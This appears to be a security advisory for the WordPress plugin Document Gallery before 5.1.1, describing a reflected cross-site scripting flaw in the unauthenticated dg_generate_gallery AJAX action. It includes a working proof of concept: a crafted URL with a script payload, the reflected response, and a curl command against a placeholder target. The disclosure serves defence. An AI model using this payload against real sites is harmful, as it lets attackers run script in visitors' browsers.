Document Gallery < 5.1.1 – Reflected XSS via dg_generate_gallery | CVE 2026-12982

Description

The plugin does not properly sanitise and escape user input before reflecting it back in the response of an unauthenticated AJAX action, leading to a Reflected Cross-Site Scripting vulnerability which can be exploited against unauthenticated users.

Proof of Concept

One-click GET, no authentication, on a default install with the plugin active:

http://TARGET/wp-admin/admin-ajax.php?action=dg_generate_gallery&atts[descriptions]=<script>alert(document.domain)</script>
Response (Content-Type: text/html), payload reflected RAW and executes:
<p>The descriptions parameter may only be "true" or "false." You entered "<script>alert(document.domain)</script>."</p>
Reproduce from scratch: install + activate "document-gallery", then open the URL above as an anonymous visitor (no cookies). curl: curl -s -G 'http://TARGET/wp-admin/admin-ajax.php' --data-urlencode 'action=dg_generate_gallery' --data-urlencode 'atts[descriptions]=<script>alert(document.domain)</script>'